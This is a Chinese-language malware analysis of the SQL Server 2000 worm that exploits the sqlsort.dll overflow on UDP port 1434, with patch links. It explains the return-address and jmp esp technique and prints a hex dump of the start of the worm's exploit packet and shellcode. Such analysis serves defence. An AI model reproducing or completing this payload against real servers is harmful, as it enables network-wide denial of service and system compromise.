该蠕虫入侵MS SQL Server系统,运行于MS SQL Server 2000主程序sqlservr.exe应用程序进程空间,而MS SQL Server 2000拥有最高级别System权限,因而该蠕虫也获得System级别权限。
受攻击系统:未安装MS SQL Server2000 SP3的系统
而由于该蠕虫并没有对自身是否已经侵入系统的判定,因而该蠕虫造成的危害是显然的,
不停的尝试入侵将会造成拒绝服务式攻击,从而导致被攻击机器停止服务瘫痪。
从昨日发现该蠕虫开始,整个Internet网络一直处于杜塞状态。
微软公司在2002年7月已经发现了该漏洞,并已经在后续的ServicePack补丁中修补了该漏洞,
相关的补丁下载地址为:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp
以及SQL Server 2000 ServicePack 3:
http://www.microsoft.com/sql/downloads/2000/sp3.asp
技术细节:
该蠕虫由被攻击机器中的sqlsort.dll存在的缓冲区溢出漏洞进行攻击,获得控制权。
随后分别从kernel32以及ws2_32.dll中获得GetTickCount函数和socket以及sendto函数地址。
紧接着调用 gettickcount函数,利用其返回值产生一个随机数种子,并用此种子产生一个IP地址作为攻击对象;随后创建一个UDP socket,将自身代码发送到目的被攻击机器的1434端口,随后进入一个无限循环中,重复上述产生随机数计算ip地址,发动攻击一系列动作。
下面是病毒代码的前一部分,它构造了一个缓冲区溢出的数据包.其中红色部分是被替换的返回地址, 而该地址0x42B0C9DC是指向sqlsort.dll中的一条指令jmp esp,因此当处理数据包的函数RET指令返回时,ESP正好指向蓝色部分(EB 0E, JMP $+0x0E),马上执行蓝色部分,接着跳转到绿色部分,开始病毒正式代码的执行.
00000000 04 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
00000010 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ...............
00000020 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
00000030 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ...............
00000040 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
00000050 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ...............
00000060 01 DC C9 B0 42 EB 0E 01 01 01 01 01 01 01 70 AE .苌奥?.......p?
00000070 42 01 70 AE 42 90 90 90 90 90 90 90 90 68 DC C9 B.p?????h苌
00000080 B0 42 B8 01 01 01 01 31 C9 B1 18 50 E2 FD 35 01 奥?...1杀.P恺5.